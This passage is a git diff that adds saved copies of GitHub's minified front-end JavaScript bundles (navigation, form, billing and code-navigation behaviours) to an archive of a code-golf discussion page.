.js-navigation-item",function(e){H(e)}),(0,p.on)("navigation:keyopen",".js-active-navigation-container .js-navigation-item",function(e){const t=e.currentTarget.classList.contains("js-navigation-open")?e.currentTarget:e.currentTarget.querySelector(".js-navigation-open");t instanceof HTMLAnchorElement?(e.detail.modifierKey?(window.open(t.href,"_blank"),window.focus()):t.dispatchEvent(new MouseEvent("click",{bubbles:!0,cancelable:!0}))&&t.click(),e.preventDefault()):H(e)});function P(e){const t=I();e!==t&&(t!==null&&x(t),e==null||e.classList.add("js-active-navigation-container"))}n(P,"activate");function x(e){e.classList.remove("js-active-navigation-container")}n(x,"deactivate");const S=[];function U(e){const t=I();t&&S.push(t),P(e)}n(U,"push");function X(e){x(e),V(e);const t=S.pop();t&&P(t)}n(X,"pop");function F(e,t){const i=t||e,o=D(e)[0],u=i.closest(".js-navigation-item")||o;if(P(e),u instanceof HTMLElement){if(_(u,e))return;const M=(0,c.VZ)(u);W(M,u)}}n(F,"navigation_focus");function V(e){const t=e.querySelectorAll(".js-navigation-item.navigation-focus");for(const i of t)i.classList.remove("navigation-focus")}n(V,"clear");function Y(e,t){V(e),F(e,t)}n(Y,"refocus");function A(e,t){const i=D(t),o=i.indexOf(e),u=i[o-1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(A,"cursorUp");function O(e,t){const i=D(t),o=i.indexOf(e),u=i[o+1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(O,"cursorDown");function G(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o-1])&&(M=(0,c._C)(b,u))&&M.top>=0;)o--;if(b){if(_(b,t))return;K(u,b)}}n(G,"pageUp");function N(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o+1])&&(M=(0,c._C)(b,u))&&M.bottom>=0;)o++;if(b){if(_(b,t))return;K(u,b)}}n(N,"pageDown");function R(e,t=!1){(0,p.f)(e,"navigation:keyopen",{modifierKey:t})}n(R,"keyOpen");function _(e,t){return(0,p.f)(e,"navigation:focus")?(V(t),e.classList.add("navigation-focus"),!1):!0}n(_,"focusItem");function I(){return document.querySelector(".js-active-navigation-container")}n(I,"getActiveContainer");function D(e){const t=[];for(const i of e.querySelectorAll(".js-navigation-item"))i instanceof HTMLElement&&(0,a.Z)(i)&&t.push(i);return t}n(D,"getItems");function Z(e){return e.getAttribute("data-navigation-scroll")||"item"}n(Z,"getScrollStyle");function K(e,t,i="smooth"){const o=(0,c._C)(t,e);!o||(o.bottom<=0?t.scrollIntoView({behavior:i,block:"start"}):o.top<=0&&t.scrollIntoView({behavior:i,block:"end"}))}n(K,"scrollPageTo");function W(e,t){const i=(0,c.oE)(t,e),o=(0,c._C)(t,e);if(!(i==null||o==null))if(o.bottom<=0&&document.body){const b=(e.offsetParent!=null?e.scrollHeight:document.body.scrollHeight)-(i.bottom+o.height);m(e,{top:b})}else o.top<=0&&m(e,{top:i.top})}n(W,"scrollItemTo")},2061:(j,y,h)=>{h.d(y,{j:()=>E,u:()=>p});function E(c){const s=c.closest("form");if(!(s instanceof HTMLFormElement))return;let f=p(s);if(c.name){const L=c.matches("input[type=submit]")?"Submit":"",m=c.value||L;f||(f=document.createElement("input"),f.type="hidden",f.classList.add("is-submit-button-value"),s.prepend(f)),f.name=c.name,f.value=m}else f&&f.remove()}n(E,"persistSubmitButtonValue");function p(c){const s=c.querySelector("input.is-submit-button-value");return s instanceof HTMLInputElement?s:null}n(p,"findPersistedSubmitButtonValue")},6741:(j,y,h)=>{h.d(y,{RB:()=>p,qC:()=>c,w0:()=>E});class E{constructor(f){this.closed=!1,this.unsubscribe=()=>{f(),this.closed=!0}}}n(E,"Subscription");function p(s,f,L,m={capture:!1}){return s.addEventListener(f,L,m),new E(()=>{s.removeEventListener(f,L,m)})}n(p,"fromEvent");function c(...s){return new E(()=>{for(const f of s)f.unsubscribe()})}n(c,"compose")},5878:(j,y,h)=>{h.d(y,{Z:()=>p});function E(c){return c.offsetWidth<=0&&c.offsetHeight<=0}n(E,"hidden");function p(c){return!E(c)}n(p,"visible")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts-e498b20a5640.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js new file mode 100644 index 0000000..eecbc9b --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js @@ -0,0 +1,101 @@ +(()=>{var Jl=Object.defineProperty;var s=($,D)=>Jl($,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["behaviors"],{56851:($,D,f)=>{"use strict";var T=f(7679),c=f(59753);(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){e.currentTarget===e.target&&(e.defaultPrevented||e.currentTarget.classList.add("loading"))}),(0,c.on)("deprecatedAjaxComplete","[data-remote]",function(e){e.currentTarget===e.target&&e.currentTarget.classList.remove("loading")});var C=f(65935);(0,C.AC)("form.js-ajax-pagination, .js-ajax-pagination form",async function(e,t){const n=e.closest(".js-ajax-pagination");let o;try{o=await t.html()}catch(r){if(r.response&&r.response.status===404){n.remove();return}else throw r}n.replaceWith(o.html),(0,c.f)(e,"page:loaded")});var _=f(30481);const x="analytics.click";(0,c.on)("click","[data-analytics-event]",e=>{const n=e.currentTarget.getAttribute("data-analytics-event");if(!n)return;const o=JSON.parse(n);(0,_.q)(x,o)});var u=f(64463);const g=["system","disabled"].map(e=>`html[data-a11y-animated-images="${e}"] img[data-animated-image]`).join(", ");(0,u.N7)(g,e=>{if(!(e instanceof HTMLImageElement)||e.closest("a")&&!(e.parentElement instanceof HTMLAnchorElement))return;let t=e.parentElement,n=null;if(t instanceof HTMLAnchorElement){if(t.childElementCount>1)return;n=t,n.setAttribute("data-target","animated-image.originalLink"),t=n.parentElement}e.removeAttribute("data-animated-image"),e.setAttribute("data-target","animated-image.originalImage");const o=n?n.cloneNode(!0):e.cloneNode(!0),r=document.createElement("animated-image");r.appendChild(o),t==null||t.replaceChild(r,n||e)});var h=f(22485);document.addEventListener("pjax:start",function(){(0,h.x)("Loading page")}),document.addEventListener("pjax:error",function(){(0,h.x)("Loading failed")}),document.addEventListener("pjax:end",function(){(0,h.x)("Loading complete")});var d=f(52641);const m=new WeakMap;(0,u.N7)("auto-check",function(e){if(e.classList.contains("js-prevent-default-behavior"))return;const t=e.querySelector("input");if(!t)return;const n=t.closest(".form-group")||e,o=t.form;let r;function i(){return r||(r=`input-check-${(Math.random()*1e4).toFixed(0)}`),r}s(i,"generateId");const a=t.getAttribute("aria-describedby");t.addEventListener("focusout:delay",()=>{t.setAttribute("aria-describedby",[r,a].join(" "))});const l=n.querySelector("p.note");l&&(l.id||(l.id=i()),m.set(l,l.innerHTML)),e.addEventListener("loadstart",()=>{p(t,n),n.classList.add("is-loading"),t.classList.add("is-autocheck-loading"),(0,d.G)(o)}),e.addEventListener("loadend",()=>{n.classList.remove("is-loading"),t.classList.remove("is-autocheck-loading")}),t.addEventListener("auto-check-success",async y=>{t.classList.add("is-autocheck-successful"),n.classList.add("successed"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(!!S){if(l instanceof HTMLElement)l.innerHTML=S,(0,h.N)(l);else{const R=w.status===200,I=n.tagName==="DL"?"dd":"div",F=document.createElement(I);F.id=i(),F.classList.add(R?"success":"warning"),F.innerHTML=S,n.append(F),n.classList.add(R?"successed":"warn"),(0,h.N)(F),R&&(F.hidden=document.activeElement!==t)}(0,c.f)(t,"auto-check-message-updated")}}),t.addEventListener("auto-check-error",async y=>{t.classList.add("is-autocheck-errored"),n.classList.add("errored"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(l instanceof HTMLElement)l.innerHTML=S||"Something went wrong",(0,h.N)(l);else{const R=n.tagName==="DL"?"dd":"div",I=document.createElement(R);I.id=i(),I.classList.add("error"),I.innerHTML=S||"Something went wrong",n.append(I),(0,h.N)(I)}}),t.addEventListener("input",()=>{t.removeAttribute("aria-describedby"),t.value||p(t,n)}),t.addEventListener("blur",()=>{const y=n.querySelector(".success");y&&(y.hidden=!0)}),t.addEventListener("focus",()=>{const y=n.querySelector(".success");y&&(y.hidden=!1)}),o.addEventListener("reset",()=>{p(t,n)})});function p(e,t){var n,o,r,i,a,l;t.classList.remove("is-loading","successed","errored","warn"),e.classList.remove("is-autocheck-loading","is-autocheck-successful","is-autocheck-errored");const y=t.querySelector("p.note");if(y){const w=m.get(y);w&&(y.innerHTML=w)}t.tagName==="DL"?((n=t.querySelector("dd.error"))==null||n.remove(),(o=t.querySelector("dd.warning"))==null||o.remove(),(r=t.querySelector("dd.success"))==null||r.remove()):((i=t.querySelector("div.error"))==null||i.remove(),(a=t.querySelector("div.warning"))==null||a.remove(),(l=t.querySelector("div.success"))==null||l.remove())}s(p,"autocheck_reset");var b=f(46481);(0,u.N7)("auto-complete",function(e){e.addEventListener("loadstart",()=>e.classList.add("is-auto-complete-loading")),e.addEventListener("loadend",()=>e.classList.remove("is-auto-complete-loading"))}),(0,u.N7)("auto-complete",{constructor:b.Z,initialize:v}),(0,c.on)("auto-complete-change","auto-complete",function(e){v(e.currentTarget)});function v(e){const t=e.closest("form");if(!t)return;const n=t.querySelector(".js-auto-complete-button");n instanceof HTMLButtonElement&&(n.disabled=!e.value)}s(v,"toggleSubmitButton");var L=f(56238),q=f(12981),E=f(6170);let A=null;(0,c.on)("submit","[data-autosearch-results-container]",async function(e){const t=e.currentTarget;if(!(t instanceof HTMLFormElement))return;e.preventDefault(),A==null||A.abort(),t.classList.add("is-sending");const n=new URL(t.action,window.location.origin),o=t.method,r=new FormData(t),i=(0,L.KL)(n,r);let a=null;o==="get"?n.search=i:a=r;const{signal:l}=A=new AbortController,y=new Request(n.toString(),{method:o,body:a,signal:l,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});let w;try{w=await fetch(y)}catch{}if(t.classList.remove("is-sending"),!w||!w.ok||l.aborted)return;const S=t.getAttribute("data-autosearch-results-container"),R=S?document.getElementById(S):null;R&&(R.innerHTML="",R.appendChild((0,q.r)(document,await w.text()))),(0,E.lO)(null,"",`?${i}`)});var k=f(73185),j=f(45075);(0,j.ZG)("input[data-autoselect], textarea[data-autoselect]",async function(e){await(0,k.gJ)(),e.select()});var P=f(46263),M=f(6741);(0,c.on)("change","form[data-autosubmit]",function(e){const t=e.currentTarget;(0,L.Bt)(t)}),(0,c.on)("change","input[data-autosubmit], select[data-autosubmit]",O);function O(e){const t=e.target;if(!(t instanceof HTMLInputElement)&&!(t instanceof HTMLSelectElement))return;const n=t.form;(0,L.Bt)(n)}s(O,"autosubmit_submit");const V=(0,P.D)(O,300);(0,u.N7)("input[data-throttled-autosubmit]",{subscribe:e=>(0,M.RB)(e,"input",V)});async function H(e){const t=e.getAttribute("data-url")||"";if(await N(t)){const o=e.getAttribute("data-gravatar-text");o!=null&&(e.textContent=o)}}s(H,"detectGravatar"),(0,u.N7)(".js-detect-gravatar",function(e){H(e)});async function N(e){const t=e;if(!t)return!1;try{const n=await fetch(t,{headers:{Accept:"application/json"}});return n.ok?(await n.json()).has_gravatar:!1}catch{return!1}}s(N,"fetchGravatarInfo");var K=f(51989),W=f(41307),U=f(49815),te=f(66899),le=f(5878);const ae=[".unstyled-additional-seats-price-obj",".unstyled-base-price-obj",".unstyled-final-price-obj"];function we(e){return typeof e=="string"||typeof e=="number"?!1:"default_currency"in e&&"local_currency"in e}s(we,"isAPriceStruct");let ue=null;(0,c.on)("click",".js-org-signup-duration-change",e=>{e.preventDefault();const n=e.currentTarget.getAttribute("data-plan-duration");Yr(n),ts(n);for(const o of document.querySelectorAll(".js-seat-field"))Be(o);Qr()}),(0,c.on)("change",".js-org-signup-duration-toggle",async function({currentTarget:e}){const t=new URL(e.getAttribute("data-url"),window.location.origin);if((0,U.c)("TURBO")){const{visit:n}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395));n(t)}else{const n=document.getElementById("js-pjax-container");(0,W.ZP)({url:t.toString(),container:n})}});async function Be(e){const t=e.getAttribute("data-item-name")||"items",n=e.value,o=new URL(e.getAttribute("data-url"),window.location.origin),r=new URLSearchParams(o.search.slice(1)),i=parseInt(e.getAttribute("data-item-minimum"))||0,a=parseInt(e.getAttribute("data-item-maximum"))||300,l=parseInt(e.getAttribute("data-item-count"))||0,y=Math.max(i,parseInt(n)||0),w=y>a,S=document.querySelector(".js-downgrade-button"),R=document.getElementById("downgrade-disabled-message");S instanceof HTMLButtonElement&&(S.disabled=y===l),R instanceof HTMLElement&&S instanceof HTMLButtonElement&&(R.hidden=!S.disabled),r.append(t,y.toString()),document.querySelector(".js-transform-user")&&r.append("transform_user","1"),o.search=r.toString(),ue==null||ue.abort();const{signal:F}=ue=new AbortController;let X=null;try{const Z=await fetch(o.toString(),{signal:F,headers:{Accept:"application/json"}});if(!Z.ok)return;X=await Z.json()}catch{}if(F.aborted||!X)return;const oe=document.querySelector(".js-contact-us");oe&&oe.classList.toggle("d-none",!w);const Q=document.querySelector(".js-cost-info");Q&&(Q.hidden=w);const se=document.querySelector(".js-payment-summary");se&&se.classList.toggle("d-none",w);const ce=document.querySelector(".js-submit-billing");ce instanceof HTMLElement&&(ce.hidden=w);const de=document.querySelector(".js-billing-section");de&&de.classList.toggle("has-removed-contents",X.free||X.is_enterprise_cloud_trial);const Y=document.querySelector(".js-upgrade-info");Y&&Y.classList.toggle("d-none",y<=0);const He=document.querySelector(".js-downgrade-info");He&&He.classList.toggle("d-none",y>=0);const B=document.querySelector(".js-extra-seats-line-item");B&&B.classList.toggle("d-none",X.no_additional_seats),document.querySelector(".js-seat-field")&&es(n);const z=document.querySelector(".js-minimum-seats-disclaimer");z&&(z.classList.toggle("tooltipped",X.seats===5),z.classList.toggle("tooltipped-nw",X.seats===5));const ee=X.selectors;for(const Z in ee)for(const ie of document.querySelectorAll(Z))Jr(Z)&&we(ee[Z])?(ie.textContent="",ie.appendChild(On("default-currency",ee[Z].default_currency)),ie.appendChild(On("local-currency",ee[Z].local_currency))):ie.textContent=ee[Z];(0,E.lO)((0,W.y0)(),"",X.url)}s(Be,"updateTotals");function Jr(e){return ae.includes(e)}s(Jr,"isPriceSelector");function On(e,t){const n=document.createElement("span");return n.classList.add(e),n.textContent=t,n}s(On,"priceCurrencyTag");function Qr(){for(const e of document.querySelectorAll(".js-unit-price"))e.hidden=!e.hidden}s(Qr,"toggleDurationUnitPrices");function Yr(e){const t=e==="year"?"month":"year";for(const o of document.querySelectorAll(".js-plan-duration-text"))o.textContent=e;for(const o of document.querySelectorAll(".unstyled-available-plan-duration-adjective"))o.textContent=`${e}ly`;for(const o of document.querySelectorAll(".js-org-signup-duration-change"))o.setAttribute("data-plan-duration",t);const n=document.getElementById("signup-plan-duration");n&&(n.value=e)}s(Yr,"updateDurationFields");function es(e){var t;for(const n of document.querySelectorAll(".js-seat-field")){const o=n.getAttribute("data-item-max-seats"),r=(t=n==null?void 0:n.parentNode)==null?void 0:t.querySelector(".Popover");o&&o.length&&(parseInt(e,10)>parseInt(o,10)?(n.classList.add("color-border-danger-emphasis"),r==null||r.removeAttribute("hidden")):(n.classList.remove("color-border-danger-emphasis"),r==null||r.setAttribute("hidden","true")))}}s(es,"updateSeatFields");function ts(e){for(const t of document.querySelectorAll(".js-seat-field")){const n=new URL(t.getAttribute("data-url"),window.location.origin),o=new URLSearchParams(n.search.slice(1));o.delete("plan_duration"),o.append("plan_duration",e),n.search=o.toString(),t.setAttribute("data-url",n.toString())}}s(ts,"updateSeatFieldURLs"),(0,u.N7)(".js-addon-purchase-field",{constructor:HTMLInputElement,add(e){(0,le.Z)(e)&&Be(e),(0,te.oq)(e,function(){Be(e)})}}),(0,u.N7)(".js-addon-downgrade-field",{constructor:HTMLSelectElement,add(e){(0,le.Z)(e)&&Be(e),e.addEventListener("change",function(){Be(e)})}});function ns(e){const t=document.querySelector(".js-addon-purchase-field"),n=e.target.querySelector("input:checked");if(t instanceof HTMLInputElement&&n instanceof HTMLInputElement){const o=n.getAttribute("data-upgrade-url");o&&(t.setAttribute("data-url",o),t.value="0",Be(t))}}s(ns,"handleOrgChange"),(0,c.on)("details-menu-selected",".js-organization-container",ns,{capture:!0}),(0,j.q6)(".js-csv-filter-field",function(e){const t=e.target.value.toLowerCase();for(const n of document.querySelectorAll(".js-csv-data tbody tr"))n instanceof HTMLElement&&(!n.textContent||(n.hidden=!!t&&!n.textContent.toLowerCase().includes(t)))}),(0,u.N7)(".js-blob-header.is-stuck",{add(e){Nn(e)},remove(e){Nn(e,!0)}});function Nn(e,t=!1){const n={"tooltipped-nw":"tooltipped-sw","tooltipped-n":"tooltipped-s","tooltipped-ne":"tooltipped-se"};for(const[o,r]of Object.entries(n)){const i=t?r:o,a=t?o:r;for(const l of e.querySelectorAll(`.${i}`))l.classList.replace(i,a)}}s(Nn,"flipTooltip");function os(e){const t=e.target,n=t==null?void 0:t.closest(".js-branch-protection-integration-select"),o=n==null?void 0:n.querySelector(".js-branch-protection-integration-select-current"),r=t==null?void 0:t.closest(".js-branch-protection-integration-select-item"),i=r==null?void 0:r.querySelector(".js-branch-protection-integration-select-label");o&&i&&n&&(o.innerHTML=i.innerHTML,n.open=!1)}s(os,"changeSelection"),(0,c.on)("change",".js-branch-protection-integration-select-input",os);function rs(e){const t=new URL(e.getAttribute("data-bulk-actions-url"),window.location.origin),n=new URLSearchParams(t.search.slice(1)),o=e.getAttribute("data-bulk-actions-parameter"),r=Array.from(e.querySelectorAll(".js-bulk-actions-toggle:checked"));if(o){const i=r.map(a=>a.closest(".js-bulk-actions-item").getAttribute("data-bulk-actions-id")).sort();for(const a of i)n.append(`${o}[]`,a)}else for(const i of r.sort((a,l)=>a.value>l.value?1:-1))n.append(i.name,i.value);return t.search=n.toString(),t.toString()}s(rs,"bulkUrl");let Dt=null;async function ss(e){const t=e.target;if(!(t instanceof HTMLElement))return;const n=t.querySelector(".js-bulk-actions"),o=!!t.querySelector(".js-bulk-actions-toggle:checked");Dt==null||Dt.abort();const{signal:r}=Dt=new AbortController;let i="";try{const a=await fetch(rs(t),{signal:r,headers:{"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;i=await a.text()}catch{}r.aborted||!i||(o?(Bn(t),n.innerHTML=i):(n.innerHTML=i,Bn(t)),(0,c.f)(t,"bulk-actions:updated"))}s(ss,"updateBulkActions");function Bn(e){const t=document.querySelector(".js-membership-tabs");if(t){const n=e.querySelectorAll(".js-bulk-actions-toggle:checked");t.classList.toggle("d-none",n.length>0)}}s(Bn,"toggleMembershipTabs"),(0,c.on)("change",".js-bulk-actions-toggle",function(e){const n=e.currentTarget.closest(".js-bulk-actions-container");(0,c.f)(n,"bulk-actions:update")}),(0,c.on)("bulk-actions:update",".js-bulk-actions-container",(0,P.D)(ss,100));var me=f(7739),he=f(45922);function is(e){try{const t=window.localStorage.getItem(e);return{kind:"ok",value:t?JSON.parse(t):null}}catch(t){return{kind:"err",value:t}}}s(is,"getLocalJSON");function $n(e,t){try{return window.localStorage.setItem(e,JSON.stringify(t)),{kind:"ok",value:null}}catch(n){return{kind:"err",value:n}}}s($n,"setLocalJSON");function as(){const e={};for(const t of document.getElementsByTagName("script")){const n=t.src.match(/\/([\w-]+)-[0-9a-f]{8,}\.js$/);n&&(e[`${n[1]}.js`]=t.src)}for(const t of document.getElementsByTagName("link")){const n=t.href.match(/\/([\w-]+)-[0-9a-f]{8,}\.css$/);n&&(e[`${n[1]}.css`]=t.href)}return e}s(as,"gatherBundleURLs");function cs(){const e=as(),t=is("bundle-urls");if(t.kind==="err"){$n("bundle-urls",e);return}const n=t.value||{},o=Object.keys(e).filter(r=>n[r]!==e[r]);o.length&&$n("bundle-urls",{...n,...e}).kind==="ok"&&(0,he.b)({downloadedBundles:o})}s(cs,"report"),(async()=>(await me.C,window.requestIdleCallback(cs)))();var Ql=f(41415);function ls(e){e.preventDefault(),e.stopPropagation()}s(ls,"cancelEvent"),(0,u.N7)("a.btn.disabled",{subscribe:e=>(0,M.RB)(e,"click",ls)});var Ht=f(90458),us=f(58797);(0,u.N7)(".js-check-all-container",{constructor:HTMLElement,subscribe:us.Z});var Ve=f(64926);const Fn="logout-was-successful";function ds(){for(const e of[sessionStorage,localStorage])try{e.clear()}catch{}}s(ds,"clearData");function fs(){(0,Ve.$1)(Fn).length>0&&(ds(),(0,Ve.kT)(Fn))}s(fs,"clearDataIfJustLoggedOut"),fs();const Un=2e3;(0,c.on)("clipboard-copy","[data-copy-feedback]",e=>{const t=e.currentTarget,n=t.getAttribute("data-copy-feedback"),o=t.getAttribute("aria-label"),r=t.getAttribute("data-tooltip-direction")||"s";t.setAttribute("aria-label",n),t.classList.add("tooltipped",`tooltipped-${r}`),t instanceof HTMLElement&&((0,h.N)(t),setTimeout(()=>{o?t.setAttribute("aria-label",o):t.removeAttribute("aria-label"),t.classList.remove("tooltipped",`tooltipped-${r}`)},Un))});function ms(e){Ot.delete(e),Wn(e)}s(ms,"timerCallback");function Wn(e){const t=e.querySelector(".js-clipboard-copy-icon"),n=e.querySelector(".js-clipboard-check-icon");e.classList.toggle("ClipboardButton--success"),t&&t.classList.toggle("d-none"),n&&(n.classList.contains("d-sm-none")?n.classList.toggle("d-sm-none"):n.classList.toggle("d-none"))}s(Wn,"toggleCopyButton");const Ot=new WeakMap;(0,c.on)("clipboard-copy",".js-clipboard-copy:not([data-view-component])",function({currentTarget:e}){if(!(e instanceof HTMLElement))return;const t=Ot.get(e);t?clearTimeout(t):Wn(e),Ot.set(e,window.setTimeout(ms,Un,e))}),(0,c.on)("click",".js-code-nav-retry",async function(e){if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey)return;const t=document.querySelector(".js-tagsearch-popover");if(!t)return;const n=t.querySelector(".js-tagsearch-popover-content");if(!n)return;let o;const r=e.currentTarget;if(r.getAttribute("data-code-nav-kind")==="definitions"?o=t.querySelector(".js-tagsearch-popover-content"):o=t.querySelector(".js-code-nav-references"),!o)return;const a=r.getAttribute("data-code-nav-url");if(!a)return;const l=new URL(a,window.location.origin);try{const y=await fetch(l.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!y.ok)return;const w=await y.text();if(!w)return;o.innerHTML=w}catch{return}n.scrollTop=0}),(0,u.N7)(".js-code-nav-container",{constructor:HTMLElement,subscribe(e){const t=e,n=document.querySelector(".js-tagsearch-popover");if(!(n instanceof HTMLElement))return{unsubscribe(){}};const o=n.querySelector(".js-tagsearch-popover-content"),r=new WeakMap,i=new WeakMap;let a;l();function l(){ce();for(const B of document.getElementsByClassName("pl-token"))B.classList.remove("pl-token","active")}s(l,"initialize");async function y(B){const G=Nt(/\w+[!?]?/g,B.clientX,B.clientY,0);if(!G)return;const z=G.commonAncestorContainer.parentElement;if(!z)return;for(const Zl of z.classList)if(["pl-token","pl-c","pl-s","pl-k"].includes(Zl))return;if(z.closest(".js-skip-tagsearch"))return;const ee=G.toString();if(!ee||ee.match(/\n|\s|[();&.=",]/))return;let Z=i.get(z);if(Z||(Z=new Set,i.set(z,Z)),Z.has(ee))return;Z.add(ee);const ie=z.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"";let Oe=ie.getAttribute("data-tagsearch-lang")||"";if(Oe==="HTML+ERB")if(z.closest(".pl-sre"))Oe="Ruby";else return;if(e.classList.contains("js-code-block-container")&&(Oe=ps(z)||"",!Oe))return;const Hn=Kn(G),Ne=document.createElement("span");Ne.classList.add("pl-token"),Ne.addEventListener("click",S);let It;if(!(0,U.c)("BLACKBIRD_MONOLITH")){if(It=await zn(n,ee,Oe,Hn,Dn),!It)return;R(Ne,It),r.set(Ne,It)}G.surroundContents(Ne)}s(y,"onMouseMove");function w(){o.scrollTop=0}s(w,"resetScrollTop");async function S(B){if(B.altKey||B.ctrlKey||B.metaKey||B.shiftKey)return;const G=B.currentTarget;if(G===a)ce();else if(X(G),(0,U.c)("BLACKBIRD_MONOLITH")){const z=n.querySelector(".js-loading-code-definitions");z&&(o.hidden=!0,z.hidden=!1,Q(G),se()),await F(B),oe(G),z&&!z.hidden&&(z.hidden=!0),o.children.length>0?o.hidden=!1:ce()}else oe(G),se();B.preventDefault()}s(S,"onClick");function R(B,G){const z=document.createElement("span");z.innerHTML=G;const ee=z.firstElementChild;if(!ee)return;const Z=ee.getAttribute("data-hydro-click"),ie=ee.getAttribute("data-hydro-click-hmac");ie&&Z&&(B.setAttribute("data-hydro-click",Z),B.setAttribute("data-hydro-click-hmac",ie))}s(R,"addPopoverElement");async function I(B,G){const z=Nt(/\w+[!?]?/g,B.clientX,B.clientY,2);if(!z)return;const ee=z.commonAncestorContainer.parentElement;if(!ee)return;for(const Ne of ee.classList)if(G.includes(Ne))return;const Z=z.toString(),ie=ee.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"",Oe=ie.getAttribute("data-tagsearch-lang")||"",Hn=Kn(z);return await zn(n,Z,Oe,Hn,Dn)}s(I,"getPopoverHtml");async function F(B){const G=await I(B,["data-hydro-click"]);if(!G)return;const z=document.getElementsByClassName("active")[0];!z||(R(z,G),r.set(z,G))}s(F,"fetchPopover");function X(B){a&&a.classList.remove("active"),a=B,a.classList.add("active")}s(X,"setActivePopover");function oe(B){o.innerHTML=r.get(B)||"",Q(B)}s(oe,"populatePopover");function Q(B){const G=t.getClientRects()[0],z=B.getClientRects()[0];n.style.position="absolute",n.style.zIndex="2",t.classList.contains("position-relative")?(n.style.top=`${z.bottom-G.top+7}px`,n.style.left=`${z.left-G.left-10}px`):(n.style.top=`${window.scrollY+z.bottom}px`,n.style.left=`${window.scrollX+z.left}px`)}s(Q,"positionPopover");function se(){if(!n.hidden){w();return}n.hidden=!1,w(),document.addEventListener("click",Y),document.addEventListener("keyup",He),window.addEventListener("resize",de)}s(se,"showPopover");function ce(){n.hidden||(n.hidden=!0,a&&a.classList.remove("active"),a=void 0,document.removeEventListener("click",Y),document.removeEventListener("keyup",He),window.removeEventListener("resize",de))}s(ce,"hidePopover");function de(){a instanceof HTMLElement&&Q(a)}s(de,"onResize");function Y(B){const{target:G}=B;G instanceof Node&&!n.contains(G)&&!a.contains(G)&&ce()}s(Y,"onDocumentClick");function He(B){switch(B.key){case"Escape":ce();break}}return s(He,"onKeyup"),e.addEventListener("mousemove",y),{unsubscribe(){e.removeEventListener("mousemove",y)}}}});async function zn(e,t,n,o,r){const i=e.getAttribute("data-tagsearch-url");if(!i)return"";const a=e.getAttribute("data-tagsearch-ref");if(!a)return"";let l=e.getAttribute("data-tagsearch-code-nav-context");l||(l="UNKNOWN_VIEW");const y=new URL(i,window.location.origin),w=new URLSearchParams;w.set("q",t),w.set("blob_path",r),w.set("ref",a),w.set("language",n),w.set("row",o[0].toString()),w.set("col",o[1].toString()),w.set("code_nav_context",l),y.search=w.toString();try{const S=await fetch(y.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!S.ok)return"";const R=await S.text();return/js-tagsearch-no-definitions/.test(R)?"":R}catch{return""}}s(zn,"fetchPopoverContents");function Nt(e,t,n,o){let r,i;if(document.caretPositionFromPoint){const S=document.caretPositionFromPoint(t,n);S&&(r=S.offsetNode,i=S.offset)}else if(document.caretRangeFromPoint){const S=document.caretRangeFromPoint(t,n);S&&(r=S.startContainer,i=S.startOffset)}if(!r||typeof i!="number"||!(0,U.c)("BLACKBIRD_MONOLITH")&&r.nodeType!==Node.TEXT_NODE)return;const a=r.textContent,l=(a==null?void 0:a.replaceAll(` +`,"").trim())==="";if(!a||l||r.nodeType!==Node.TEXT_NODE){if(o<=0||!(0,U.c)("BLACKBIRD_MONOLITH"))return null;{const S=r.nodeType!==Node.TEXT_NODE?1:10;return Nt(e,t-S,n-S,o-1)}}const y=hs(a,e,i);if(!y)return null;const w=document.createRange();return w.setStart(r,y[1]),w.setEnd(r,y[2]),w}s(Nt,"matchFromPoint");function hs(e,t,n){let o;for(;o=t.exec(e);){const r=o.index+o[0].length;if(o.index<=n&&n<=r)return[o[0],o.index,r]}return null}s(hs,"findNearestMatch");function ps(e){const t=e.closest(".highlight");if(t)for(const n of t.classList)switch(n){case"highlight-source-go":return"Go";case"highlight-source-js":return"JavaScript";case"highlight-source-python":return"Python";case"highlight-source-ruby":return"Ruby";case"highlight-source-ts":return"TypeScript"}return null}s(ps,"getCodeBlockLanguage");function Kn(e){let t=e.startContainer,n=e.startOffset,o=!1;for(;;){let r=t.previousSibling;for(;!o&&r;)["#comment","BUTTON"].includes(r.nodeName)||(n+=(r.textContent||"").length),r=r.previousSibling;const i=t.parentElement;if(i){if(i.classList.contains("js-code-nav-pass"))o=!0;else if(i.classList.contains("js-file-line")){const a=i.previousElementSibling;if(!a.classList.contains("js-code-nav-line-number"))throw new Error("invariant");return[parseInt(a.getAttribute("data-line-number")||"1",10)-1,n]}t=i}else return[0,0]}}s(Kn,"getRowAndColumn");var Me=f(78965);function gs(e){const t=e.querySelector(".js-comment-form-error");t instanceof HTMLElement&&(t.hidden=!0)}s(gs,"clearFormError"),(0,c.on)("click",".errored.js-remove-error-state-on-click",function({currentTarget:e}){e.classList.remove("errored")}),(0,C.AC)(".js-new-comment-form",async function(e,t){let n;gs(e);try{n=await 